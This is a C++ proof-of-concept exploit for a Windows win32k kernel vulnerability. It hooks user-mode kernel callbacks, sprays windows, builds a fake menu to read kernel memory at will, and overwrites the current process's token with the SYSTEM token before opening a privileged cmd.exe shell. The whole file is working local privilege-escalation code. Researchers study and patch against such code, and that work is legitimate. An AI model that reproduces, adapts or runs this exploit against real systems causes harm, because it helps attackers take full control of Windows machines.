#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include <stdio.h>
#include <intsafe.h>
#include <tlhelp32.h>

#include "poc.hpp"

typedef _Return_type_success_(return >= 0) LONG				NTSTATUS;
#define NT_SUCCESS(Status)									(((NTSTATUS)(Status)) >= 0)
#define STATUS_NTSTATUS_WIN32_ERROR							((NTSTATUS)0xBB000000L)
#define WIN32_TO_NTSTATUS(_Win32_Error)						(STATUS_NTSTATUS_WIN32_ERROR | ((_Win32_Error) & 0x0000FFFF))

#define KERNEL_CALLBACK_TABLE_PEB_OFFSET					0x58
#define DESKTOP_HEAP_PEB_OFFSET								0x828
#define STYLE_TAGWND_OFFSET  								0x1c

#define CB_WND_EXTRA_TAGWND_OFFSET							0xc8
#define PTR_EXTRA_BYTES_TAGWND_OFFSET						0x128
#define FLAG_TAGWND_OFFSET									0xe8

#define ACTIVE_PROCESS_LINKS_EPROCESS_OFFSET				0x448
#define UNIQUE_PROCESS_ID_EPROCESS_OFFSET					0x440
#define EPROCESS_TOKEN_OFFSET								0x4b8

#define ETHREAD_WIN32THREAD_OFF								0x1c8
#define WIN32THREAD_DESKTOP_OFF								0x1c0
#define DESKTOP_HEAPBASE_OFF								0x80

#define CALLBACK_INDEX_XXXCLIENTALLOCWINDOWCLASSEXTRABYTES  0x7b
#define CALLBACK_INDEX_XXXCLIENTFREEWINDOWCLASSEXTRABYTES   0x7c

#define NO_OF_SPRAYED_WINDOWS								0x200
#define YUMMY_BUNNY_CB_WINDOW_EXTRA_BYTES					0x1356
#define DEFAULT_CB_WINDOW_EXTRA_BYTES						0x1234
#define YUMMY_BUNNY_CLASS_NAME								L"yummy^^bunny"
#define DEFAULT_CLASS_NAME								    L"yummy$$bunny"
#define WINDOW_NAME											L"bunny_w1nd0w"


typedef void* (NTAPI* FUNC_HMValidateHandle)(HWND hwnd, int type);
typedef NTSTATUS(WINAPI* FUNC_xxxClientAllocWindowClassExtraBytes)(unsigned int* pSize);
typedef NTSTATUS(WINAPI* FUNC_xxxClientFreeWindowClassExtraBytes)(PVOID pAddress);
typedef NTSTATUS(WINAPI* FUNC_NtUserConsoleControl)(ULONG_PTR CtrlCode, PVOID CtrlInfo, ULONG_PTR CtrlInfoLen);
typedef NTSTATUS(WINAPI* FUNC_NtUserMessageCall)(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
typedef NTSTATUS(WINAPI* FUNC_NtCallbackReturn)(PVOID Result, ULONG ResultLength, NTSTATUS Status);

FUNC_HMValidateHandle HMValidateHandle = nullptr;
FUNC_xxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = nullptr;
FUNC_xxxClientFreeWindowClassExtraBytes xxxClientFreeWindowClassExtraBytes = nullptr;
FUNC_NtUserConsoleControl NtUserConsoleControl = nullptr;
FUNC_NtUserMessageCall NtUserMessageCall = nullptr;
FUNC_NtCallbackReturn NtCallbackReturn = nullptr;

HWND gSprayedWindowsHandle[NO_OF_SPRAYED_WINDOWS];
HWND gTargetWindow = nullptr;

PVOID
GetKernelCallbackTable()
{
	return (PVOID) * (PSIZE_T)((SIZE_T)__readgsqword(0x60) + KERNEL_CALLBACK_TABLE_PEB_OFFSET);
}

PVOID
GetUserModeDesktopHeapBaseAddress()
{
	return (PVOID) * (PSIZE_T)((SIZE_T)__readgsqword(0x30) + DESKTOP_HEAP_PEB_OFFSET);
}

_Must_inspect_result_
NTSTATUS
InstallKernelCallbackTableHook(
	_In_ DWORD CallbackIndex,
	_In_ PVOID Callback,
	_Out_opt_ PVOID * OldCallback
)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	PSIZE_T localKernelCallbackTable = (PSIZE_T)GetKernelCallbackTable();
	PVOID originalCallback = 0;
	PVOID callbackEntry = 0;
	DWORD oldProtect = 0;


	callbackEntry = (PVOID)&localKernelCallbackTable[CallbackIndex];
	if (!VirtualProtect(callbackEntry, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &oldProtect))
	{
		status = WIN32_TO_NTSTATUS(GetLastError());
		goto cleanup_and_exit;
	}

	// place the hook and save the original callback
	originalCallback = (PVOID)InterlockedExchange((PSIZE_T)callbackEntry, (SIZE_T)Callback);

	if (!VirtualProtect(callbackEntry, sizeof(PVOID), oldProtect, &oldProtect))
	{
		status = WIN32_TO_NTSTATUS(GetLastError());
		goto cleanup_and_exit;
	}
	status = STATUS_SUCCESS;
cleanup_and_exit:
	// if the caller requested the old callback value, populate it
	if (OldCallback)
	{
		if (NT_SUCCESS(status))
		{
			*OldCallback = originalCallback;
		}
		else
		{
			*OldCallback = nullptr;
		}
	}
	return status;
}

_Must_inspect_result_
NTSTATUS
UninstallKernelCallbackTableHook(
	_In_ DWORD CallbackIndex,
	_In_ PVOID OriginalCallback
)
{
	PSIZE_T localKernelCallbackTable = (PSIZE_T)GetKernelCallbackTable();
	SIZE_T originalCallback = 0;
	PVOID callbackEntry = 0;
	DWORD oldProtect = 0;


#pragma warning(suppress:28112)
	callbackEntry = (PVOID)&localKernelCallbackTable[CallbackIndex];
#pragma warning(suppress:28112)
	if (!VirtualProtect(callbackEntry, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &oldProtect))
	{
		return WIN32_TO_NTSTATUS(GetLastError());
	}

	// restore the original callback in the kernel callback table
#pragma warning(suppress:28113)
	InterlockedExchange((PSIZE_T)callbackEntry, originalCallback);

#pragma warning(suppress:28112)
	if (!VirtualProtect(callbackEntry, sizeof(PVOID), oldProtect, &oldProtect))
	{
		return WIN32_TO_NTSTATUS(GetLastError());
	}
	return STATUS_SUCCESS;
}

_Must_inspect_result_
FUNC_HMValidateHandle
SolveHMValidateHandle()
{
	FUNC_HMValidateHandle pHMValidateHandle = nullptr;
	HMODULE hUser32 = nullptr;
	PBYTE pIsMenu = nullptr;
	DWORD dwHMValidateHandleOffsetIsMenuRelative = 0;
	DWORD ipOffset = 0;
	DWORD dwHMValidateHandleOffsetUser32Relative = 0;

	hUser32 = LoadLibraryW(L"user32.dll");
	if (!hUser32)
	{
		return nullptr;
	}
	pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu");
	if (!pIsMenu)
	{
		return nullptr;
	}

	dwHMValidateHandleOffsetIsMenuRelative = 0;
	for (DWORD index = 0; index < 0x100; ++index)
	{
		if (pIsMenu[index] == 0xE8)
		{
			dwHMValidateHandleOffsetIsMenuRelative = index + 1;
			break;
		}
	}

	if (!dwHMValidateHandleOffsetIsMenuRelative)
	{
		return nullptr;
	}

	ipOffset = *(PDWORD)(pIsMenu + dwHMValidateHandleOffsetIsMenuRelative);
	dwHMValidateHandleOffsetUser32Relative = (DWORD)((SIZE_T)pIsMenu - (SIZE_T)hUser32) + ipOffset + dwHMValidateHandleOffsetIsMenuRelative + sizeof(DWORD);
	pHMValidateHandle = (FUNC_HMValidateHandle)((SIZE_T)hUser32 + (SIZE_T)dwHMValidateHandleOffsetUser32Relative);
	return pHMValidateHandle;
}

PVOID SolveModuleExportedFunction(
	_In_ PCHAR ModuleName,
	_In_ PCHAR FunctionName
)
{
	HMODULE hModule = nullptr;

	hModule = GetModuleHandleA(ModuleName);
	if (!hModule)
	{
		return nullptr;
	}
	return GetProcAddress(hModule, FunctionName);
}

SIZE_T CalculateWindowObjectOffset(HWND hwnd)
{
	return (SIZE_T)HMValidateHandle(hwnd, 0x1) - (SIZE_T)GetUserModeDesktopHeapBaseAddress();
}

BOOL RegisterClassWrapper(LPCWSTR ClassName, DWORD CbWndExtra)
{
	WNDCLASS wc = { 0 };
	wc.lpfnWndProc = DefWindowProc;
	wc.hInstance = GetModuleHandle(NULL);
	wc.lpszClassName = ClassName;
	wc.cbWndExtra = CbWndExtra;
	return RegisterClass(&wc);
}

HWND CreateWindowExWrapper(LPCWSTR ClassName)
{
	return CreateWindowEx(0, ClassName, WINDOW_NAME, 0, 0, 0, 0, 0, nullptr, nullptr, GetModuleHandle(nullptr), nullptr);
}

NTSTATUS WINAPI xxxClientAllocWindowClassExtraBytes_UsermodeCallback(PUINT Size)
{
	if (*Size == YUMMY_BUNNY_CB_WINDOW_EXTRA_BYTES)
	{
		ULONG_PTR consoleInfo[0x2] = { 0 };
		ULONG_PTR retBuffer[0x3] = { 0 };

		consoleInfo[0] = (ULONG_PTR)gTargetWindow;
		NtUserConsoleControl(0x6, (PVOID)&consoleInfo, sizeof(consoleInfo));

		retBuffer[0] = CalculateWindowObjectOffset(gTargetWindow);
		NtCallbackReturn(&retBuffer, sizeof(retBuffer), 0x0);
	}
	return xxxClientAllocWindowClassExtraBytes(Size);
}

NTSTATUS WINAPI xxxClientFreeWindowClassExtraBytes_UsermodeCallback(PVOID * Info)
{
	PSIZE_T tagWnd = (PSIZE_T)Info[0];
	if (tagWnd[25] == YUMMY_BUNNY_CB_WINDOW_EXTRA_BYTES)
	{
		return 1;
	}
	return xxxClientFreeWindowClassExtraBytes(Info);
}

BOOL CraftFakeMenu(PVOID * FakeMenu, PVOID * FakeItems)
{
	PSIZE_T fakeMenu = nullptr;
	PSIZE_T fakeMenuBody = nullptr;
	PSIZE_T fakeItems = nullptr;;
	PSIZE_T fakeRefCount = nullptr;
	PSIZE_T fakeHandle = nullptr;

	fakeMenu = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	fakeMenuBody = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	fakeItems = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	fakeRefCount = (PSIZE_T)VirtualAlloc(NULL, 0x3 * sizeof(SIZE_T), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	fakeHandle = (PSIZE_T)VirtualAlloc(NULL, sizeof(SIZE_T), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (!fakeMenu || !fakeMenuBody || !fakeItems || !fakeRefCount || !fakeHandle)
	{
		return false;
	}
	*FakeMenu = fakeMenu;
	*FakeItems = fakeItems;

	*fakeHandle = 0xFFFF;
	RtlSecureZeroMemory(fakeRefCount, sizeof(SIZE_T) * 3);

	fakeMenu[0] = (ULONG_PTR)fakeHandle;
	fakeMenu[5] = (ULONG_PTR)fakeMenuBody;
	((PULONG)(&fakeMenuBody[5]))[1] = 0xFFFF;
	((PULONG)(&fakeMenu[8]))[0] = 1;
	((PULONG)(&fakeMenu[8]))[1] = 1;
	fakeMenu[0xb] = (ULONG_PTR)fakeItems;
	fakeRefCount[0] = (ULONG_PTR)fakeMenu;
	fakeMenu[0x13] = (ULONG_PTR)fakeRefCount;

	return true;
}

SIZE_T ArbRead64(SIZE_T Address, PSIZE_T FakeItems)
{
	MENUBARINFO menuBarInfo = { 0 };

	menuBarInfo.cbSize = sizeof(menuBarInfo);
	RtlSecureZeroMemory(FakeItems, 0x100);
	FakeItems[0] = Address - 0x40;
	GetMenuBarInfo(gTargetWindow, OBJID_MENU, 1, &menuBarInfo);
	return (SIZE_T)menuBarInfo.rcBar.top << 32 | ((SIZE_T)menuBarInfo.rcBar.left & 0x00000000FFFFFFFF);
}

NTSTATUS
NtQuerySystemInformationWrapper(
	_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
	_Out_ PVOID * Buffer
)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	HMODULE hNtdll = nullptr;
	FUNC_NtQuerySystemInformation ntQuerySystemInformation = nullptr;
	PVOID buffer = nullptr;
	ULONG sizeToAllocate = 0;
	HRESULT result = 0;

	*Buffer = nullptr;

	hNtdll = GetModuleHandleW(L"ntdll.dll");
	if (!hNtdll)
	{
		return WIN32_TO_NTSTATUS(GetLastError());
	}

	ntQuerySystemInformation = (FUNC_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
	if (!ntQuerySystemInformation)
	{
		return WIN32_TO_NTSTATUS(GetLastError());
	}

	do {
		// in case in which extra handles are added during operations we multiply the size we got with 2
		result = ULongMult(sizeToAllocate, 2, &sizeToAllocate);
		if (!SUCCEEDED(result))
		{
			status = STATUS_INTEGER_OVERFLOW;
			goto cleanup_and_exit;
		}

		buffer = malloc(sizeToAllocate);
		if (!buffer)
		{
			status = STATUS_INSUFFICIENT_RESOURCES;
			goto cleanup_and_exit;
		}
		RtlSecureZeroMemory(buffer, sizeToAllocate);

		status = ntQuerySystemInformation(SystemInformationClass,
			buffer,
			sizeToAllocate,
			&sizeToAllocate
		);
		if (!NT_SUCCESS(status))
		{
			free(buffer);
			buffer = nullptr;
		}
	} while (STATUS_INFO_LENGTH_MISMATCH == status);

	if (buffer)
	{
		*Buffer = buffer;
	}
	status = STATUS_SUCCESS;
cleanup_and_exit:
	if (!NT_SUCCESS(status) && buffer)
	{
		free(buffer);
	}
	return status;
}

PVOID
LeakHandleObjectAddress(
	_In_ DWORD ProcessId,
	_In_ HANDLE Handle
)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	PSYSTEM_HANDLE_INFORMATION_EX systemHandleInformation = nullptr;
	PVOID objectAddress = nullptr;

	status = NtQuerySystemInformationWrapper(SystemExtendedHandleInformation, (PVOID*)&systemHandleInformation);
	if (!NT_SUCCESS(status) || !systemHandleInformation)
	{
		return nullptr;
	}

	for (ULONG index = 0; index < systemHandleInformation->HandleCount; ++index)
	{
		HANDLE currentHandle = systemHandleInformation->Handles[index].HandleValue;
		SIZE_T processId = (SIZE_T)systemHandleInformation->Handles[index].UniqueProcessId;
		if (currentHandle == Handle && processId == ProcessId)
		{
			objectAddress = systemHandleInformation->Handles[index].Object;
			break;
		}
	}
	if (systemHandleInformation)
	{
		free(systemHandleInformation);
	}
	return objectAddress;
}

PVOID LeakCurrentThread()
{
	HANDLE hThread = nullptr;
	PVOID thread = 0x0;

	hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId());
	if (!hThread)
	{
		return nullptr;
	}
	thread = LeakHandleObjectAddress(GetCurrentProcessId(), hThread);
	CloseHandle(hThread);
	return thread;
}

PVOID LeakCurrentProcess()
{
	HANDLE hProcess = nullptr;
	HANDLE hToken = nullptr;
	PVOID processAddress = nullptr;

	hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
	if (!hProcess)
	{
		return nullptr;
	}

	processAddress = LeakHandleObjectAddress(GetCurrentProcessId(), hProcess);
	if (!processAddress)
	{
		goto cleanup_and_exit;
	}
cleanup_and_exit:
	if (hProcess)
	{
		CloseHandle(hProcess);
	}
	return processAddress;
}

SIZE_T SolveProcessPidByImageName(LPCWSTR ImageName)
{
	HANDLE hToolSnapshot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32 processEntry = { 0 };

	hToolSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hToolSnapshot)
	{
		return 0;
	}
	processEntry.dwSize = sizeof(processEntry);

	if (Process32First(hToolSnapshot, &processEntry))
	{
		do {
			if (!wcscmp(ImageName, processEntry.szExeFile))
			{
				return (SIZE_T)processEntry.th32ProcessID;
			}
		} while (Process32Next(hToolSnapshot, &processEntry));
	}
	return 0;
}

int main()
{
	// 1. Solve needed functions
	NtUserConsoleControl = (FUNC_NtUserConsoleControl)SolveModuleExportedFunction((PCHAR)"win32u.dll", (PCHAR)"NtUserConsoleControl");
	NtUserMessageCall = (FUNC_NtUserMessageCall)SolveModuleExportedFunction((PCHAR)"win32u.dll", (PCHAR)"NtUserMessageCall");
	NtCallbackReturn = (FUNC_NtCallbackReturn)SolveModuleExportedFunction((PCHAR)"ntdll.dll", (PCHAR)"NtCallbackReturn");
	HMValidateHandle = SolveHMValidateHandle();

	if (!NtUserConsoleControl || !NtUserMessageCall || !NtCallbackReturn || !HMValidateHandle)
	{
		printf("[-] Failed to retrieve function pointers\n");
		return -1;
	}

	// 2. Register a default class and a magic class
	if (!RegisterClassWrapper(DEFAULT_CLASS_NAME, DEFAULT_CB_WINDOW_EXTRA_BYTES) ||
		!RegisterClassWrapper(YUMMY_BUNNY_CLASS_NAME, YUMMY_BUNNY_CB_WINDOW_EXTRA_BYTES))
	{
		printf("[-] Failed to register window classes\n");
		return -1;
	}

	// 3. Spray a large number of windows in order to get 2 adjacent
	for (SIZE_T i = 0; i < NO_OF_SPRAYED_WINDOWS; ++i)
	{
		if ((NO_OF_SPRAYED_WINDOWS / 2) == i)
		{
			gSprayedWindowsHandle[i] = CreateWindowExWrapper(YUMMY_BUNNY_CLASS_NAME);
		}
		else
		{
			gSprayedWindowsHandle[i] = CreateWindowExWrapper(DEFAULT_CLASS_NAME);
		}
		if (0 == gSprayedWindowsHandle[i])
		{
			printf("[-] Failed to create window\n");
			return -1;
		}
	}
	gTargetWindow = gSprayedWindowsHandle[NO_OF_SPRAYED_WINDOWS / 2];

	// 4. Install KernelCallbackTable custom callbaks for xxxClientAllocWindowClassExtraBytes and xxxClientFreeWindowClassExtraBytes
	if (!NT_SUCCESS(InstallKernelCallbackTableHook(CALLBACK_INDEX_XXXCLIENTALLOCWINDOWCLASSEXTRABYTES,
		(PVOID)xxxClientAllocWindowClassExtraBytes_UsermodeCallback,
		(PVOID*)&xxxClientAllocWindowClassExtraBytes)) ||
		!NT_SUCCESS(InstallKernelCallbackTableHook(CALLBACK_INDEX_XXXCLIENTFREEWINDOWCLASSEXTRABYTES,
			(PVOID)xxxClientFreeWindowClassExtraBytes_UsermodeCallback,
			(PVOID*)&xxxClientFreeWindowClassExtraBytes)))
	{
		printf("[-] Failed to hook kernel callback table\n");
		return -1;
	}

	// 5. Trigger the vulnerability
	NtUserMessageCall(gTargetWindow, WM_CREATE, 0, 0, 0, 0, 0);

	// 6. Setup a fake menu for the target window
	PVOID fakeMenu = nullptr;
	PVOID fakeItems = nullptr;
	if (!CraftFakeMenu(&fakeMenu, &fakeItems))
	{
		printf("[-] Failed to craft fake menu\n");
		return -1;
	}

	SetWindowLong(gTargetWindow, STYLE_TAGWND_OFFSET + 0x10, 0x40c00000);
	SIZE_T oldMenu = SetWindowLongPtr(gTargetWindow, GWLP_ID, (LONG_PTR)fakeMenu);
	SetWindowLong(gTargetWindow, STYLE_TAGWND_OFFSET + 0x10, 0x04c00000);

	// 7. Leak the kernel address for DesktopHeap
	PVOID currentThread = LeakCurrentThread();
	SIZE_T currentPtr = 0;
	PVOID desktopHeapBase = nullptr;

	currentPtr = ArbRead64((SIZE_T)currentThread + ETHREAD_WIN32THREAD_OFF, (PSIZE_T)fakeItems);
	currentPtr = ArbRead64((SIZE_T)currentPtr, (PSIZE_T)fakeItems);
	currentPtr = ArbRead64((SIZE_T)currentPtr + WIN32THREAD_DESKTOP_OFF, (PSIZE_T)fakeItems);
	desktopHeapBase = (PVOID)ArbRead64((SIZE_T)currentPtr + DESKTOP_HEAPBASE_OFF, (PSIZE_T)fakeItems);

	// 8. Calculate the offset from target window to adjacent window
	HWND hTargetAdjacentWindow = gSprayedWindowsHandle[NO_OF_SPRAYED_WINDOWS / 2 + 1];
	SIZE_T targetWindowDesktopHeapAddress = (SIZE_T)HMValidateHandle(gTargetWindow, 1);
	SIZE_T targetAdjacentWindowDesktopHeapAddress = (SIZE_T)HMValidateHandle(hTargetAdjacentWindow, 1);
	SIZE_T offsetBetweenWindows = 0;
	if (targetAdjacentWindowDesktopHeapAddress < targetWindowDesktopHeapAddress)
	{
		printf("[-] Invalid memory layout\n");
		return -1;
	}
	offsetBetweenWindows = targetAdjacentWindowDesktopHeapAddress - targetWindowDesktopHeapAddress;

	// 9. Get system token and replace curent process's token with it
	SIZE_T eprocess = (SIZE_T)LeakCurrentProcess();
	SIZE_T currentEprocess = eprocess;
	do {

		currentEprocess = ArbRead64(currentEprocess + ACTIVE_PROCESS_LINKS_EPROCESS_OFFSET, (PSIZE_T)fakeItems) - ACTIVE_PROCESS_LINKS_EPROCESS_OFFSET;
		SIZE_T currentPid = ArbRead64(currentEprocess + UNIQUE_PROCESS_ID_EPROCESS_OFFSET, (PSIZE_T)fakeItems);
		if (currentPid == 4)
		{
			SIZE_T targetToken = ArbRead64((SIZE_T)currentEprocess + EPROCESS_TOKEN_OFFSET, (PSIZE_T)fakeItems);
			SIZE_T currentTokenPtr = eprocess + EPROCESS_TOKEN_OFFSET;
			SetWindowLongPtr(gTargetWindow, offsetBetweenWindows + PTR_EXTRA_BYTES_TAGWND_OFFSET + 0x10, currentTokenPtr);
			SetWindowLongPtr(hTargetAdjacentWindow, 0x0, targetToken);
			SetWindowLongPtr(gTargetWindow, offsetBetweenWindows + PTR_EXTRA_BYTES_TAGWND_OFFSET + 0x10, 0x0);
			break;
		}
	} while (true);


	// 10. Cleanup the corrupted windows
	SIZE_T targetWindowsDesktopHeapOffset = CalculateWindowObjectOffset(gTargetWindow);
	SIZE_T targetWndFlags = ArbRead64((SIZE_T)desktopHeapBase + targetWindowsDesktopHeapOffset + FLAG_TAGWND_OFFSET, (PSIZE_T)fakeItems);
	SetWindowLong(gTargetWindow, STYLE_TAGWND_OFFSET + 0x10, 0x40c00000);
	SetWindowLongPtr(gTargetWindow, GWLP_ID, (LONG_PTR)oldMenu);
	SetWindowLong(gTargetWindow, STYLE_TAGWND_OFFSET + 0x10, 0x04c00000);
	SetWindowLongPtr(gTargetWindow, FLAG_TAGWND_OFFSET + 0x10, targetWndFlags & ~0x800);
	SetWindowLongPtr(gTargetWindow, PTR_EXTRA_BYTES_TAGWND_OFFSET + 0x10, 0x0);

	system("cmd.exe");
	return 0;
}